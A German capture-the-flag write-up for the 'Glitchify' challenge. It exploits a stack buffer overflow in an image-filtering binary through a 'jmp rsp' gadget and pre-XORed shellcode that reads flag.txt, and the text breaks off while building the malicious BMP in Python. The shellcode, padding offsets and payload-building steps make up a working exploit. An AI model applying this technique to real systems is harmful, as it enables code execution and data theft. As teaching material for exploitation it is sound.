# Glitchify Glitchify ist ein "Glitch Art" SaaS, das einen Rauschfilter auf 24-Bit-BMP-Bilder anwendet. Während die Benutzeroberfläche vor Speicherlimits warnt (32x32 Pixel), enthält die zugrunde liegende C-Anwendung einen klassischen stackbasierten Buffer Overflow und einen ausführbaren Stack, was sie zu einem perfekten Ziel für einen benutzerdefinierten Shellcode-Exploit macht. ## Erste Analyse Uns werden die folgenden Dateien zur Verfügung gestellt: - `app.py`: Der Flask-Web-Wrapper. - `glitcher`: Das kompilierte ELF64-Binary. - `compose.yml` & `Dockerfile`: Die Container-Konfiguration. - `good.bmp` & `bad.bmp`: Beispielbilder. ### 1. Identifizierung des Ziels Durch Untersuchung des `Dockerfile` können wir genau sehen, wie der Server eingerichtet ist: ```dockerfile WORKDIR /home/ctf COPY glitcher . COPY app.py . COPY flag.txt . ``` Das Flag befindet sich unter `/home/ctf/flag.txt`. Unser Ziel ist es, diese Datei zu lesen. ### 2. Verständnis der Pipeline Das `app.py`-Skript zeigt, dass der Server den `stdout` des Binarys abfängt und dem Benutzer anzeigt: ```python result = subprocess.run( ['./glitcher', b64_data], capture_output=True, text=True, timeout=2 ) output = result.stdout + result.stderr ``` Wenn wir einen Shellcode ausführen können, der `flag.txt` liest und in den `stdout` schreibt, erscheint das Flag direkt in der Weboberfläche. ## Binary Reconnaissance (Erkundung des Binarys) Bevor wir in einen Dekompiler eintauchen, sammeln wir grundlegende Informationen über die Umgebung. ### 1. Dateieigenschaften ```bash $ file glitcher glitcher: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, ..., with debug_info, not stripped ``` Das Binary ist **not stripped**, was bedeutet, dass wir während der Analyse Zugriff auf Funktionsnamen haben. ### 2. Sicherheitsmechanismen ```bash $ readelf -h glitcher | grep Type Type: EXEC (Executable file) ``` **PIE ist deaktiviert**. Das Binary wird an festen Adressen geladen, was unseren Exploit vereinfacht, da wir ASLR für das Binary selbst nicht umgehen müssen. ```bash $ readelf -l glitcher | grep -A 1 GNU_STACK GNU_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 RWE 0x10 ``` **NX ist deaktiviert** (`RWE`). Dies ist eine entscheidende Erkenntnis: **Der Stack ist ausführbar**. Wir können zu Code springen, den wir auf dem Stack platzieren, und diesen ausführen. ## Statische Analyse (Verfolgung des Ausführungsflusses) Da wir nun wissen, dass die Umgebung nachsichtig ist, verfolgen wir, wie das Programm unsere Eingabe verarbeitet, indem wir der Logik in einem Dekompiler folgen. ### 1. Der Einstiegspunkt (`main`) Das Programm beginnt damit, unser Base64-kodiertes Bild von der Befehlszeile entgegenzunehmen: 1. Es reserviert Speicher für die Rohdaten. 2. Es ruft `base64_decode` auf, um unsere Eingabe wieder in Binärdaten umzuwandeln. 3. Es übergibt diese dekodierten Daten an die Funktion `process_bmp`. ### 2. Validierung des Bildes (`process_bmp`) Diese Funktion fungiert als Gatekeeper. Sie parst die BMP-Header, um sicherzustellen, dass die Datei gültig ist: 1. **Header-Check**: Sie überprüft die "BM"-Magic-Bytes. 2. **Format-Check**: Sie stellt sicher, dass das Bild 24-Bit ist (Standard-RGB). 3. **Größenberechnung**: Sie berechnet die Gesamtgröße der Pixeldaten: `width * height * 3`. 4. **Übergabe**: Schließlich ruft sie `apply_noise_filter` auf und übergibt einen Zeiger auf die Pixeldaten sowie die berechnete `data_size`. ### 3. Die Schwachstelle (`apply_noise_filter`) Hier läuft es schief. Schauen wir uns die dekompilierte Logik an: ```c void apply_noise_filter(char *src_data, int data_size) { char process_buffer[3072]; // Feste Größe auf dem Stack // ... Log-Initialisierung ... // KRITISCH: Keine Prüfung, ob data_size > 3072! memcpy(process_buffer, src_data, data_size); // ... XOR-Schleife (Der "Glitch") ... } ``` Der Programmierer ging davon aus, dass Benutzer sich an das in der Warnung erwähnte 32x32-Limit halten würden. Da `memcpy` die Größe des Zielpuffers nicht prüft, ermöglicht uns die Angabe einer größeren `width` oder `height` in unserem BMP-Header, über das Ende von `process_buffer` hinaus in den Stackframe der Funktion zu schreiben und die gespeicherte Rücksprungadresse (Return Address) zu überschreiben. ### 4. Der "Glitch"-Filter Nach dem Überlauf, aber *bevor* die Funktion zurückkehrt, wendet das Binary einen XOR-Filter an: ```c for (idx = 0; idx < data_size; idx++) { process_buffer[idx] ^= (char)(idx % 256); } ``` Diese Schleife wird unseren Shellcode und die Rücksprungadresse verändern (scramblen), bevor die Funktion zurückkehrt. Um sicherzustellen, dass unser Code gültig bleibt, wenn die Funktion schließlich ihre `ret`-Instruktion erreicht, müssen wir unseren gesamten Payload **vor-XORen** (pre-XOR). ## Exploitation-Strategie (Den Pfad finden) Wir haben einen Buffer Overflow und einen ausführbaren Stack. Doch selbst bei deaktiviertem PIE kann die exakte Adresse des Stacks zwischen verschiedenen Umgebungen leicht variieren (aufgrund von Umgebungsvariablen usw.). Um unseren Exploit zuverlässig zu machen, brauchen wir einen Weg, die Ausführung auf den Stack umzuleiten, ohne eine Stack-Adresse fest zu kodieren. ### 1. Suche nach einem Gadget Wir benötigen eine Instruktion, die bereits im Binary vorhanden ist und zum Stack-Pointer "springt". In x86_64 wird der Stack-Pointer im `rsp`-Register gespeichert. Wir suchen also nach einem Gadget wie: - `jmp rsp` - `call rsp` - `push rsp; ret` ### 2. Jagd nach dem Gadget Wir können `objdump` verwenden, um das gesamte Disassembly nach diesen spezifischen Befehlen zu durchsuchen. Suchen wir nach einem `jmp rsp`: ```bash $ objdump -d glitcher -M intel | grep "jmp rsp" 4018d6: ff e4 jmp rsp ``` Wir haben einen Treffer gefunden! Es gibt eine `jmp rsp`-Instruktion an der Adresse **`0x4018d6`**. ### 3. Verifizierung Da unser Binary nicht gestrippt ist, können wir prüfen, in welcher Funktion sich dieses Gadget befindet, um zu verstehen, warum es dort ist: ```bash $ objdump -d glitcher -M intel --start-address=0x4018ce --stop-address=0x4018d8 00000000004018ce : 4018ce: f3 0f 1e fa endbr64 4018d2: 55 push rbp 4018d3: 48 89 e5 mov rbp,rsp 4018d6: ff e4 jmp rsp ``` Es stellt sich heraus, dass das Gadget innerhalb einer Funktion namens `get_pixels` liegt. Diese Adresse (`0x4018d6`) ist perfekt, da sie fest ist und genau zu dem Speicherbereich springt, der unmittelbar auf unsere Rücksprungadresse auf dem Stack folgt – dort, wo wir unseren Shellcode platzieren werden. ## Den Exploit Schritt für Schritt aufbauen ### Schritt 1: Erstellung des Shellcodes Da wir eine Datei lesen und in den `stdout` ausgeben müssen, verwenden wir eine Sequenz aus `open` -> `read` -> `write`. Hier ist die Aufschlüsselung in Assembly: ```nasm ; --- "flag.txt" öffnen --- push 0 ; Null-Terminator für String mov rbx, 0x7478742e67616c66 ; "flag.txt" in Hex (Little-Endian) push rbx ; String auf Stack pushen mov rdi, rsp ; RDI = Zeiger auf "flag.txt" xor esi, esi ; RSI = 0 (O_RDONLY) push 2 ; RAX = 2 (sys_open) pop rax syscall ; open("flag.txt", 0) ; --- Dateiinhalt lesen --- mov rdi, rax ; RDI = File Descriptor (von rax) mov rsi, rsp ; RSI = Puffer (Stack-Platz wiederverwenden) mov edx, 0x100 ; RDX = 256 Bytes zum Lesen push 0 ; RAX = 0 (sys_read) pop rax syscall ; read(fd, rsp, 256) ; --- In stdout schreiben --- mov rdx, rax ; RDX = gelesene Bytes (von rax) push 1 ; RDI = 1 (stdout) pop rdi push 1 ; RAX = 1 (sys_write) pop rax syscall ; write(1, rsp, rdx) ; --- Sauber beenden --- push 60 ; RAX = 60 (sys_exit) pop rax xor rdi, rdi ; RDI = 0 syscall ; exit(0) ``` ### Schritt 2: Berechnung des Paddings Der `process_buffer` ist 3072 Bytes groß. Um die Rücksprungadresse zu erreichen, müssen wir auch das gespeicherte RBP (8 Bytes) überschreiben. - **Padding**: 3080 Bytes. - **Rücksprungadresse**: `0x4018d6` (`jmp rsp`). - **Payload**: `Padding` + `RetAddr` + `Shellcode`. ### Schritt 3: Umgehung des XOR-Filters Wir führen ein Vor-XOR auf unseren Roh-Payload aus, so dass er, wenn der Server ihn "glitcht", tatsächlich wieder in unseren ursprünglichen Code "entschlüsselt" wird. ```python scrambled = bytearray() for i in range(len(raw_payload)): scrambled.append(raw_payload[i] ^ (i % 256)) ``` ### Schritt 4: In ein BMP verpacken Wir verpacken unseren gescrambelten Payload in eine Standard-24-Bit-BMP-Struktur. ```python # Magic 'BM' + Header + Gescrambelte Daten bmp_header = struct.pack('<2sIHHI', b'BM', file_size, 0, 0, 54) info_header = struct.pack('